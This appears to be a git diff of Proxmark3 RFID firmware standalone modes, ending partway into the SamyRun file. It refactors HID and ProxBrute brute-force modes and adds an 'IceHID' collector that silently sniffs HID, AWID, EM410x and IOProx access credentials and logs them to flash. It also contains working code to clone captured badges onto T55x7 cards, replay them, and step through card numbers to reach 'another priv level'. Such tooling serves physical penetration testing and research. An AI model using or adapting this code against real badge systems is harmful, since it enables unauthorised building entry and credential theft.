|
||||
|
||||
WDT_HIT();
|
||||
|
||||
// exit from SamyRun, send a usbcommand.
|
||||
if (data_available()) break;
|
||||
|
||||
// Was our button held down or pressed?
|
||||
int button_pressed = BUTTON_HELD(1000);
|
||||
SpinDelay(300);
|
||||
int button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed != BUTTON_HOLD)
|
||||
continue;
|
||||
|
||||
// Button was held for a second, begin recording
|
||||
if (button_pressed > 0 && cardRead == 0) {
|
||||
if (cardRead == 0) {
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
LED(LED_D, 0);
|
||||
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
// record
|
||||
DbpString("[=] starting recording");
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
|
||||
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
|
||||
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
|
@ -88,12 +93,7 @@ void RunMod() {
|
|||
// record
|
||||
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
|
||||
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
@ -125,12 +125,10 @@ void RunMod() {
|
|||
LED(LED_B, 0);
|
||||
DbpString("[=] playing");
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
|
||||
CmdHIDsimTAG(high[selected], low[selected], 0);
|
||||
CmdHIDsimTAG(0, high[selected], low[selected], 0, 0);
|
||||
DbpString("[=] done playing");
|
||||
|
||||
if (BUTTON_HELD(1000) > 0)
|
||||
|
@ -157,16 +155,15 @@ void RunMod() {
|
|||
|
||||
LED(LED_B, 0);
|
||||
DbpString("[=] entering bruteforce mode");
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
// Calculate Facility Code and Card Number from high and low
|
||||
uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF;
|
||||
uint32_t fc = ((high[selected] & 1) << 11) | (low[selected] >> 21);
|
||||
uint32_t original_cardnum = cardnum;
|
||||
|
||||
Dbprintf("[=] Proxbrute - starting decrementing card number");
|
||||
Dbprintf("[=] HID brute - starting decrementing card number");
|
||||
|
||||
while (cardnum > 0) {
|
||||
|
||||
|
@ -191,12 +188,12 @@ void RunMod() {
|
|||
// Print actual code to brute
|
||||
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
|
||||
|
||||
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
|
||||
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
|
||||
}
|
||||
|
||||
cardnum = original_cardnum;
|
||||
|
||||
Dbprintf("[=] Proxbrute - starting incrementing card number");
|
||||
Dbprintf("[=] HID brute - starting incrementing card number");
|
||||
|
||||
while (cardnum <= 0xFFFFF) {
|
||||
|
||||
|
@ -219,7 +216,7 @@ void RunMod() {
|
|||
// Print actual code to brute
|
||||
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
|
||||
|
||||
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
|
||||
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
|
||||
}
|
||||
|
||||
DbpString("[=] done bruteforcing");
|
||||
|
@ -236,13 +233,13 @@ void RunMod() {
|
|||
LED(selected + 1, 0);
|
||||
|
||||
} else {
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
WAIT_BUTTON_RELEASED();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
|
||||
DbpString("[=] exiting");
|
||||
LEDsoff();
|
||||
}
|
||||
|
|
|
@ -14,10 +14,7 @@
|
|||
#ifndef __LF_HIDBRUTE_H
|
||||
#define __LF_HIDBRUTE_H
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "apps.h" // debugstatements, lfops?
|
||||
|
||||
#define OPTS 3
|
||||
#include <stdint.h>
|
||||
|
||||
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);
|
||||
|
||||
|
|
390
armsrc/Standalone/lf_icehid.c
Normal file
390
armsrc/Standalone/lf_icehid.c
Normal file
|
@ -0,0 +1,390 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Christian Herrmann, 2020
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// main code for HID collector aka IceHID by Iceman
|
||||
//-----------------------------------------------------------------------------
|
||||
#include <inttypes.h>
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "lfops.h"
|
||||
#include "lfsampling.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "printf.h"
|
||||
#include "spiffs.h"
|
||||
#include "ticks.h"
|
||||
#include "lfdemod.h"
|
||||
/*
|
||||
* `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal
|
||||
* flash. It requires RDV4 hardware (for flash and battery).
|
||||
*
|
||||
* On entering stand-alone mode, this module will start reading/record HID credentials.
|
||||
* Every found / collected credential will be written/appended to the logfile in flash
|
||||
* as a text string.
|
||||
*
|
||||
* LEDs:
|
||||
* - LED A: reading / record
|
||||
* - LED B: writing to flash
|
||||
* - LED C: unmounting/sync'ing flash (normally < 100ms)
|
||||
*
|
||||
* To retrieve log file from flash:
|
||||
*
|
||||
* 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log
|
||||
* Copies log file from flash to your client.
|
||||
*
|
||||
* 2. exit the Proxmark3 client
|
||||
*
|
||||
* 3. more lf_hidcollect.log
|
||||
*
|
||||
* This module emits debug strings during normal operation -- so try it out in
|
||||
* the lab connected to PM3 client before taking it into the field.
|
||||
*
|
||||
* To delete the log file from flash:
|
||||
*
|
||||
* 1. mem spiffs remove lf_hidcollect.log
|
||||
*/
|
||||
|
||||
#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log"
|
||||
|
||||
|
||||
void DownloadLogInstructions() {
|
||||
Dbprintf("");
|
||||
Dbprintf("[=] To get the logfile from flash and display it:");
|
||||
Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE);
|
||||
Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client");
|
||||
Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE);
|
||||
}
|
||||
|
||||
bool log_exists;
|
||||
|
||||
void append(uint8_t *entry, size_t entry_len) {
|
||||
|
||||
LED_B_ON();
|
||||
if (log_exists == false) {
|
||||
rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
log_exists = true;
|
||||
} else {
|
||||
rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
}
|
||||
LED_B_OFF();
|
||||
}
|
||||
|
||||
uint32_t IceEM410xdemod() {
|
||||
|
||||
uint8_t *dest = BigBuf_get_addr();
|
||||
size_t idx = 0;
|
||||
int clk = 0, invert = 0, maxErr = 20;
|
||||
uint32_t hi = 0;
|
||||
uint64_t lo = 0;
|
||||
|
||||
size_t size = MIN(16385, BigBuf_max_traceLen());
|
||||
|
||||
//askdemod and manchester decode
|
||||
int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1);
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
if (errCnt > 50) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo);
|
||||
if (errCnt != 1) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
uint8_t entry[81];
|
||||
memset(entry, 0, sizeof(entry));
|
||||
|
||||
if (size == 128) {
|
||||
sprintf((char *)entry, "EM XL TAG ID: %06"PRIx32"%08"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
|
||||
hi,
|
||||
(uint32_t)(lo >> 32),
|
||||
(uint32_t)lo,
|
||||
(uint32_t)(lo & 0xFFFF),
|
||||
(uint32_t)((lo >> 16LL) & 0xFF),
|
||||
(uint32_t)(lo & 0xFFFFFF));
|
||||
} else {
|
||||
sprintf((char *)entry, "EM TAG ID: %02"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
|
||||
(uint32_t)(lo >> 32),
|
||||
(uint32_t)lo,
|
||||
(uint32_t)(lo & 0xFFFF),
|
||||
(uint32_t)((lo >> 16LL) & 0xFF),
|
||||
(uint32_t)(lo & 0xFFFFFF));
|
||||
}
|
||||
|
||||
append(entry, strlen((char *)entry));
|
||||
Dbprintf("%s", entry);
|
||||
BigBuf_free();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
uint32_t IceAWIDdemod() {
|
||||
|
||||
uint8_t *dest = BigBuf_get_addr();
|
||||
size_t size = MIN(12800, BigBuf_max_traceLen());
|
||||
int dummyIdx = 0;
|
||||
|
||||
//askdemod and manchester decode
|
||||
int idx = detectAWID(dest, &size, &dummyIdx);
|
||||
|
||||
if (idx <= 0 || size != 96) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
//get raw ID before removing parities
|
||||
uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32);
|
||||
uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32);
|
||||
uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32);
|
||||
|
||||
size = removeParity(dest, idx + 8, 4, 1, 88);
|
||||
if (size != 66) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
uint8_t entry[110];
|
||||
memset(entry, 0, sizeof(entry));
|
||||
|
||||
uint8_t fmtLen = bytebits_to_byte(dest, 8);
|
||||
if (fmtLen == 26) {
|
||||
uint8_t fac = bytebits_to_byte(dest + 9, 8);
|
||||
uint32_t cardnum = bytebits_to_byte(dest + 17, 16);
|
||||
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
|
||||
sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo);
|
||||
} else {
|
||||
uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16);
|
||||
if (fmtLen > 32) {
|
||||
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32);
|
||||
uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32);
|
||||
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32"%08"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo);
|
||||
} else {
|
||||
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
|
||||
sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %"PRIu32" - Wiegand: %"PRIx32", Raw: %08"PRIx32"%08"PRIx32"%08"PRIx32"\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo);
|
||||
}
|
||||
}
|
||||
|
||||
append(entry, strlen((char *)entry));
|
||||
Dbprintf("%s", entry);
|
||||
BigBuf_free();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
uint32_t IceIOdemod() {
|
||||
|
||||
int dummyIdx = 0;
|
||||
uint8_t version = 0, facilitycode = 0;
|
||||
uint16_t number = 0;
|
||||
uint32_t hi = 0, lo = 0;
|
||||
|
||||
size_t size = MIN(12000, BigBuf_max_traceLen());
|
||||
|
||||
// uint8_t *dest = BigBuf_malloc(size);
|
||||
uint8_t *dest = BigBuf_get_addr();
|
||||
|
||||
//fskdemod and get start index
|
||||
int idx = detectIOProx(dest, &size, &dummyIdx);
|
||||
|
||||
if (idx < 0) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
hi = bytebits_to_byte(dest + idx, 32);
|
||||
lo = bytebits_to_byte(dest + idx + 32, 32);
|
||||
|
||||
version = bytebits_to_byte(dest + idx + 27, 8); //14,4
|
||||
facilitycode = bytebits_to_byte(dest + idx + 18, 8);
|
||||
number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9
|
||||
|
||||
uint8_t entry[64];
|
||||
memset(entry, 0, sizeof(entry));
|
||||
|
||||
sprintf((char *)entry, "IO Prox XSF(%02u)%02x:%05u (%08"PRIx32"%08"PRIx32")\n"
|
||||
, version
|
||||
, facilitycode
|
||||
, number
|
||||
, hi
|
||||
, lo
|
||||
);
|
||||
|
||||
append(entry, strlen((char *)entry));
|
||||
Dbprintf("%s", entry);
|
||||
BigBuf_free();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
uint32_t IceHIDDemod() {
|
||||
|
||||
int dummyIdx = 0;
|
||||
|
||||
uint32_t hi2 = 0, hi = 0, lo = 0;
|
||||
|
||||
// large enough to catch 2 sequences of largest format
|
||||
size_t size = 50 * 128 * 2; // 12800 bytes
|
||||
//uint8_t *dest = BigBuf_malloc(size);
|
||||
uint8_t *dest = BigBuf_get_addr();
|
||||
|
||||
// FSK demodulator
|
||||
int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx);
|
||||
if (idx < 0) {
|
||||
BigBuf_free();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
if ((size == 96 || size == 192)) {
|
||||
|
||||
uint8_t entry[80];
|
||||
memset(entry, 0, sizeof(entry));
|
||||
|
||||
// go over previously decoded manchester data and decode into usable tag ID
|
||||
if (hi2 != 0) { //extra large HID tags 88/192 bits
|
||||
|
||||
sprintf((char *)entry, "HID large: %"PRIx32"%08"PRIx32"%08"PRIx32" (%"PRIu32")\n",
|
||||
hi2,
|
||||
hi,
|
||||
lo,
|
||||
(lo >> 1) & 0xFFFF
|
||||
);
|
||||
|
||||
append(entry, strlen((char *)entry));
|
||||
|
||||
} else { //standard HID tags 44/96 bits
|
||||
uint8_t bitlen = 0;
|
||||
uint32_t fac = 0;
|
||||
uint32_t cardnum = 0;
|
||||
|
||||
if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used
|
||||
uint32_t lo2 = 0;
|
||||
lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit
|
||||
uint8_t idx3 = 1;
|
||||
while (lo2 > 1) { //find last bit set to 1 (format len bit)
|
||||
lo2 >>= 1;
|
||||
idx3++;
|
||||
}
|
||||
bitlen = idx3 + 19;
|
||||
fac = 0;
|
||||
cardnum = 0;
|
||||
if (bitlen == 26) {
|
||||
cardnum = (lo >> 1) & 0xFFFF;
|
||||
fac = (lo >> 17) & 0xFF;
|
||||
}
|
||||
if (bitlen == 37) {
|
||||
cardnum = (lo >> 1) & 0x7FFFF;
|
||||
fac = ((hi & 0xF) << 12) | (lo >> 20);
|
||||
}
|
||||
if (bitlen == 34) {
|
||||
cardnum = (lo >> 1) & 0xFFFF;
|
||||
fac = ((hi & 1) << 15) | (lo >> 17);
|
||||
}
|
||||
if (bitlen == 35) {
|
||||
cardnum = (lo >> 1) & 0xFFFFF;
|
||||
fac = ((hi & 1) << 11) | (lo >> 21);
|
||||
}
|
||||
} else { //if bit 38 is not set then 37 bit format is used
|
||||
bitlen = 37;
|
||||
cardnum = (lo >> 1) & 0x7FFFF;
|
||||
fac = ((hi & 0xF) << 12) | (lo >> 20);
|
||||
}
|
||||
|
||||
sprintf((char *)entry, "HID: %"PRIx32"%08"PRIx32" (%"PRIu32") Format: %d bit FC: %"PRIu32" Card: %"PRIu32"\n",
|
||||
hi,
|
||||
lo,
|
||||
(lo >> 1) & 0xFFFF,
|
||||
bitlen,
|
||||
fac,
|
||||
cardnum
|
||||
);
|
||||
|
||||
append(entry, strlen((char *)entry));
|
||||
}
|
||||
|
||||
Dbprintf("%s", entry);
|
||||
}
|
||||
|
||||
BigBuf_free();
|
||||
return PM3_SUCCESS;
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)");
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
LFSetupFPGAForADC(LF_DIVISOR_125, true);
|
||||
BigBuf_Clear();
|
||||
|
||||
StandAloneMode();
|
||||
|
||||
Dbprintf(_YELLOW_("[=] Standalone mode IceHID started"));
|
||||
|
||||
rdv40_spiffs_lazy_mount();
|
||||
|
||||
log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE);
|
||||
|
||||
// the main loop for your standalone mode
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
|
||||
// exit from IceHID, send a usbcommand.
|
||||
if (data_available()) break;
|
||||
|
||||
// Was our button held down or pressed?
|
||||
int button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed == BUTTON_HOLD)
|
||||
break;
|
||||
|
||||
LED_A_ON();
|
||||
|
||||
uint32_t res;
|
||||
|
||||
// since we steal 12800 from bigbuffer, no need to sample it.
|
||||
DoAcquisition_config(false, 28000);
|
||||
res = IceHIDDemod();
|
||||
if (res == PM3_SUCCESS) {
|
||||
LED_A_OFF();
|
||||
continue;
|
||||
}
|
||||
|
||||
DoAcquisition_config(false, 28000);
|
||||
res = IceAWIDdemod();
|
||||
if (res == PM3_SUCCESS) {
|
||||
LED_A_OFF();
|
||||
continue;
|
||||
}
|
||||
|
||||
DoAcquisition_config(false, 20000);
|
||||
res = IceEM410xdemod();
|
||||
if (res == PM3_SUCCESS) {
|
||||
LED_A_OFF();
|
||||
continue;
|
||||
}
|
||||
|
||||
DoAcquisition_config(false, 28000);
|
||||
res = IceIOdemod();
|
||||
if (res == PM3_SUCCESS) {
|
||||
LED_A_OFF();
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
LED_C_ON();
|
||||
rdv40_spiffs_lazy_unmount();
|
||||
LED_C_OFF();
|
||||
|
||||
LEDsoff();
|
||||
DownloadLogInstructions();
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
}
|
|
@ -7,13 +7,17 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// main code for skeleton aka IceRun by Iceman
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "lf_icerun.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF skeleton mode - aka IceRun (iceman)");
|
||||
DbpString(" LF skeleton mode - aka IceRun (iceman)");
|
||||
}
|
||||
|
||||
// samy's sniff and repeat routine for LF
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
Dbprintf("[=] LF skeleton code a.k.a IceRun started");
|
||||
|
|
|
@ -9,10 +9,17 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// main code for LF aka Proxbrute by Brad antoniewicz
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "lf_proxbrute.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "lfops.h"
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
|
||||
DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
|
||||
}
|
||||
|
||||
// samy's sniff and repeat routine for LF
|
||||
|
@ -21,151 +28,92 @@ void RunMod() {
|
|||
Dbprintf(">> LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<");
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
|
||||
uint32_t high[OPTS], low[OPTS];
|
||||
int selected = 0;
|
||||
int playing = 0;
|
||||
int cardRead = 0;
|
||||
uint32_t high, low;
|
||||
|
||||
// Turn on selected LED
|
||||
LED(selected + 1, 0);
|
||||
#define STATE_READ 0
|
||||
#define STATE_BRUTE 1
|
||||
|
||||
uint8_t state = STATE_READ;
|
||||
|
||||
for (;;) {
|
||||
|
||||
WDT_HIT();
|
||||
|
||||
// exit from SamyRun, send a usbcommand.
|
||||
if (data_available()) break;
|
||||
|
||||
// Was our button held down or pressed?
|
||||
int button_pressed = BUTTON_HELD(1000);
|
||||
SpinDelay(300);
|
||||
int button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed != BUTTON_HOLD)
|
||||
continue;
|
||||
|
||||
// Button was held for a second, begin recording
|
||||
if (button_pressed > 0 && cardRead == 0) {
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
LED(LED_D, 0);
|
||||
if (state == STATE_READ) {
|
||||
|
||||
LEDsoff();
|
||||
LED_A_ON();
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
// record
|
||||
DbpString("[=] starting recording");
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
// findone, high, low, no ledcontrol (A)
|
||||
CmdHIDdemodFSK(1, &high, &low, 0);
|
||||
|
||||
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
|
||||
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
|
||||
Dbprintf("[=] recorded | %x%08x", high, low);
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
// Finished recording
|
||||
// If we were previously playing, set playing off
|
||||
// so next button push begins playing what we recorded
|
||||
playing = 0;
|
||||
cardRead = 1;
|
||||
} else if (button_pressed > 0 && cardRead == 1) {
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
LED(LED_A, 0);
|
||||
|
||||
// record
|
||||
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* need this delay to prevent catching some weird data */
|
||||
SpinDelay(500);
|
||||
|
||||
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
|
||||
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
// Finished recording
|
||||
|
||||
// If we were previously playing, set playing off
|
||||
// so next button push begins playing what we recorded
|
||||
playing = 0;
|
||||
cardRead = 0;
|
||||
}
|
||||
|
||||
// Change where to record (or begin playing)
|
||||
else if (button_pressed) {
|
||||
// Next option if we were previously playing
|
||||
if (playing)
|
||||
selected = (selected + 1) % OPTS;
|
||||
playing = !playing;
|
||||
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
|
||||
// Begin transmitting
|
||||
if (playing) {
|
||||
LED(LED_B, 0);
|
||||
DbpString("[=] playing");
|
||||
// wait for button to be released
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
|
||||
/* START PROXBRUTE */
|
||||
|
||||
/*
|
||||
ProxBrute - brad a. - foundstone
|
||||
|
||||
Following code is a trivial brute forcer once you read a valid tag
|
||||
the idea is you get a valid tag, then just try and brute force to
|
||||
another priv level. The problem is that it has no idea if the code
|
||||
worked or not, so its a crap shoot. One option is to time how long
|
||||
it takes to get a valid ID then start from scratch every time.
|
||||
*/
|
||||
if (selected == 1) {
|
||||
DbpString("[=] entering ProxBrute Mode");
|
||||
Dbprintf("[=] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]);
|
||||
LED(LED_A, 0);
|
||||
LED(LED_C, 0);
|
||||
for (uint16_t i = low[selected] - 1; i > 0; i--) {
|
||||
if (BUTTON_PRESS()) {
|
||||
DbpString("[-] told to stop");
|
||||
break;
|
||||
}
|
||||
|
||||
Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i);
|
||||
CmdHIDsimTAGEx(high[selected], i, 0, 20000);
|
||||
SpinDelay(500);
|
||||
}
|
||||
|
||||
} else {
|
||||
DbpString("[=] RED is lit, not entering ProxBrute Mode");
|
||||
Dbprintf("[=] %x %x %x", selected, high[selected], low[selected]);
|
||||
CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000);
|
||||
DbpString("[=] done playing");
|
||||
}
|
||||
|
||||
/* END PROXBRUTE */
|
||||
|
||||
|
||||
if (BUTTON_HELD(1000) > 0)
|
||||
goto out;
|
||||
|
||||
/* We pressed a button so ignore it here with a delay */
|
||||
SpinDelay(300);
|
||||
|
||||
// when done, we're done playing, move to next option
|
||||
selected = (selected + 1) % OPTS;
|
||||
playing = !playing;
|
||||
LEDsoff();
|
||||
LED(selected + 1, 0);
|
||||
} else {
|
||||
while (BUTTON_PRESS())
|
||||
WDT_HIT();
|
||||
// got nothing. blink and loop.
|
||||
if (high == 0 && low == 0) {
|
||||
SpinErr(LED_A, 100, 12);
|
||||
DbpString("[=] only got zeros, retry recording after click");
|
||||
continue;
|
||||
}
|
||||
|
||||
SpinErr(LED_A, 250, 2);
|
||||
state = STATE_BRUTE;
|
||||
continue;
|
||||
|
||||
} else if (state == STATE_BRUTE) {
|
||||
|
||||
LED_C_ON(); // Simulate
|
||||
WAIT_BUTTON_RELEASED();
|
||||
|
||||
|
||||
/*
|
||||
ProxBrute - brad a. - foundstone
|
||||
|
||||
Following code is a trivial brute forcer once you read a valid tag
|
||||
the idea is you get a valid tag, then just try and brute force to
|
||||
another priv level. The problem is that it has no idea if the code
|
||||
worked or not, so its a crap shoot. One option is to time how long
|
||||
it takes to get a valid ID then start from scratch every time.
|
||||
*/
|
||||
DbpString("[=] entering ProxBrute mode");
|
||||
Dbprintf("[=] simulating | %08x%08x", high, low);
|
||||
|
||||
for (uint16_t i = low - 1; i > 0; i--) {
|
||||
|
||||
if (data_available()) break;
|
||||
|
||||
// Was our button held down or pressed?
|
||||
button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed != BUTTON_HOLD) break;
|
||||
|
||||
Dbprintf("[=] trying Facility = %08x ID %08x", high, i);
|
||||
|
||||
// high, i, ledcontrol, timelimit 20000
|
||||
CmdHIDsimTAGEx(0, high, i, 0, false, 20000);
|
||||
|
||||
SpinDelay(100);
|
||||
}
|
||||
|
||||
state = STATE_READ;
|
||||
SpinErr((LED_A | LED_C), 250, 2);
|
||||
LEDsoff();
|
||||
}
|
||||
}
|
||||
out:
|
||||
DbpString("[=] exiting");
|
||||
|
||||
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
|
||||
DbpString("[=] You can take the shell back :) ...");
|
||||
LEDsoff();
|
||||
}
|
||||
|
|
|
@ -8,138 +8,137 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// main code for LF aka SamyRun by Samy Kamkar
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "lf_samyrun.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "lfops.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
|
||||
#define OPTS 2
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)");
|
||||
DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)");
|
||||
}
|
||||
|
||||
// samy's sniff and repeat routine for LF
|
||||
|
||||
// LEDS.
|
||||
// A , B == which bank (recording)
|
||||
// FLASHING A, B = clone bank
|
||||
// C = playing bank A
|
||||
// D = playing bank B
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<");
|
||||
|
||||
